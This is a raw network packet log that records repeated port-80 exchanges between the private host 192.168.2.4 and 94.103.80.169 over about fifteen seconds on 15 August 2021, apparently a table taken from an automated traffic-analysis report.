Aug 15, 2021 08:41:10.265711069 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.294538021 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:10.294770956 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.406318903 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.433979988 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:10.434138060 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.546782017 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.574913025 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:10.575035095 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.687985897 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.720478058 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:10.720669031 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.831959963 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.862910032 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:10.863101006 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.987641096 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.017395020 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:11.017673969 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.125756979 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.155267954 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:11.155471087 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.265194893 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.293102026 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:11.294085026 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.408849955 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.438968897 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:11.439258099 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.557461977 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.586735010 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:11.587219954 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.706571102 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.736067057 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:11.736305952 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.845225096 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.874975920 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:11.875241995 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:11.985594034 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.013396978 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:12.013698101 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.124969006 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.155219078 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:12.155457020 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.265790939 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.296889067 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:12.297100067 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.408023119 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.438227892 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:12.438407898 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.549695969 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.577931881 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:12.578125000 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.687172890 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.715472937 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:12.715620041 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.831329107 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.859669924 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:12.859956026 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:12.971024036 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.001718044 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:13.001997948 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.112181902 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.139931917 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:13.140106916 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.250396967 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.281311989 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:13.281557083 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.391376019 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.419384956 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:13.419584036 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.532027960 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.561928988 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:13.562040091 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.673530102 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.705354929 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:13.705482006 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.812033892 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.839934111 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:13.840023994 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.952447891 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:13.980300903 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:13.980396986 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.096137047 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.126729965 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:14.126862049 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.234775066 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.267534971 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:14.267663002 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.374897003 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.404362917 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:14.406240940 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.517381907 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.546333075 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:14.548121929 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.655720949 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.683619976 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:14.683716059 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.800961018 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.830456972 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:14.830596924 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.953558922 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:14.981503010 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:14.981900930 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.096416950 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.125152111 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.128148079 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.252784014 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.280538082 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.280639887 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.280769110 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.281019926 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.281032085 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.305361986 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.395960093 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.420604944 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.420809984 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.422092915 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.446475983 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.449501991 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.449714899 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.563893080 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.591900110 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.592050076 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.702766895 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.731245995 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.731487989 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.845417976 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.874969006 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:15.875103951 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:15.987248898 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.014933109 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:16.015144110 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.125444889 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.154211044 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:16.154309988 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.270111084 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.298048973 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:16.298299074 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.409271002 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.437446117 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:16.437717915 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.546201944 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.576261044 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:16.576443911 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.691704988 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.720684052 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:16.720820904 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.829683065 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.859102011 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:16.859276056 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:16.974186897 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.001719952 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:17.001925945 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.109488010 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.140187025 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:17.140341997 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.250802994 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.279256105 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:17.279388905 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.390280008 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.418159962 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:17.418286085 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.532840014 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.562453985 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:17.564111948 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.671920061 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.699712992 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:17.700371027 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.814301968 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.842086077 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:17.844512939 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.953484058 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:17.981195927 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:17.981718063 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.094033003 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.123054981 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:18.123307943 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.234477997 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.265078068 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:18.265331030 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.390978098 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.418627024 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:18.418955088 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.537547112 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.568351030 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:18.568480015 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.688576937 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.716623068 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:18.716744900 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.828603029 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.860189915 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:18.860438108 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:18.969805002 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.000910997 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:19.001054049 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.110275030 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.138895988 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:19.139168024 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.250758886 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.280637026 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:19.280781984 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.393723965 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.422307014 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:19.422597885 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.534038067 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.561693907 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:19.561876059 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.672951937 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.702052116 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:19.702214003 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.814804077 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.846045017 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:19.846386909 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.970992088 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:19.999742031 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:19.999834061 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.112932920 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.141602993 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:20.141740084 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.249788046 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.280350924 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:20.280497074 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.390389919 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.420830965 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:20.423100948 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.533421040 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.563661098 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:20.563772917 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.674209118 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.702904940 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:20.703138113 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.816308022 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.846251965 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:20.846528053 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.956388950 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:20.985455990 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:20.985718966 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.097228050 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.125710011 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:21.128684044 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.252791882 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.280939102 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:21.281244040 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.393541098 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.421086073 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:21.421294928 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.531301975 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.559566021 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:21.559746981 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.675455093 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.705039978 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:21.705142975 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.817182064 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.847275972 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:21.847471952 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:21.971667051 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.000328064 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:22.000580072 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.110126019 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.144272089 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:22.144582987 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.265994072 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.293906927 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:22.294105053 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.409193993 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.437649012 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:22.437829971 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.547724962 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.575390100 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:22.575561047 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.688297033 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.716670036 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:22.716780901 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.828315973 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.855986118 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:22.856065035 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.970669031 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:22.998992920 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:22.999140978 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.111722946 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.140204906 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:23.140523911 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.251123905 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.279261112 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:23.279453039 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.394742966 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.428740025 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:23.429124117 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.547035933 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.575567007 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:23.575964928 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.687611103 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.719664097 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:23.719969988 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.839814901 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.868834019 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:23.869028091 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:23.987674952 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.016432047 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:24.016778946 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.128546000 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.167246103 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:24.167679071 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.284934998 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.312639952 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:24.312900066 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.422058105 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.450193882 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:24.450531006 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.567437887 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.595242977 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:24.595478058 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.704550028 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.734010935 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:24.734230995 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.848242044 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.876662016 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:24.876872063 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:24.989624023 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.019998074 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:25.020256042 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.144342899 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.172743082 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:25.173121929 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.284917116 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.312851906 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:25.313060045 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.424984932 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.452960968 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:25.453125000 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.563143969 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.591182947 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:25.591377974 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.703562975 CEST	49773	80	192.168.2.4	94.103.80.169
